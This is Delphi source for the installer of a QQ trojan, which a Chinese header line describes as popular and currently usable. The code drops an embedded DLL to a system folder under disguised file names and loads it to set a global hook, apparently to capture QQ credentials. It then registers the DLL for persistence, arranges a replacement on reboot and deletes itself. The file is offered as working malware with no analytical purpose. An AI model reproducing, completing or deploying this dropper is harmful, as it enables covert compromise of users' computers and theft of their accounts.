install.dpr

这是目前很流行的QQ木马 的代码 现在 这个很使用的

program Install;

{$R '..\DLL\Hook.res' '..\DLL\Hook.Txt'}

uses
  Windows,
  VarUnit in 'VarUnit.pas',
  tonghan in 'tonghan.pas';

var
  ReleasePath: string;
  ReleaseFile: string;
  TempDllFile: string;
  sExtraInfo: string;
  hHookLibrary: THandle;
  JmpHookOff, JmpHookOn: function (): Bool;
  Msg: TMsg;

label
  EndDo;
begin


  ReleasePath := GetDirectory(1);        // 释放路径
  ReleaseFile := ReleasePath + 'SysYH.bak';
  TempDllFile := ReleasePath + 'SysYH.vxd'; // Dll路径

  DeleteFile(PChar(ReleaseFile));
  sExtraInfo:=GetExtraInfo(ParamStr(0));            //读取信息

  if FileExists(PChar(ReleaseFile)) then
  begin
    ReleaseResToFile(RT_RCDATA, 'DLLFILE', PChar(TempDllFile), sExtraInfo);
    ForceMoveFile(ReleaseFile, TempDllFile); // 重启后更新
  end else
  begin
    ReleaseResToFile(RT_RCDATA, 'DLLFILE', PChar(ReleaseFile), sExtraInfo);

    hHookLibrary := LoadLibrary(PChar(ReleaseFile));
    if (hHookLibrary = 0) then goto EndDo;
    @JmpHookOff := GetProcAddress(hHookLibrary, 'JmpHookOff');
    @JmpHookOn := GetProcAddress(hHookLibrary, 'JmpHookOn');
    if (Assigned(JmpHookOff) = False) or (Assigned(JmpHookOn) = False) then goto EndDo;

    CreateWindow(EXE_WindowClass, EXE_WindowTitle, 0, 0, 0, 0, 0, 0, 0, HInstance, nil);
    JmpHookOn();


    while GetMessage(Msg, 0, 0, 0) do DispatchMessage(Msg); // 等待WM_QUIT
    JmpHookOff();

    FreeLibrary(hHookLibrary);
  end;

EndDo:
  RegisterDll(PChar(ReleaseFile));         // 注册DLL
  DeleteMe();
end.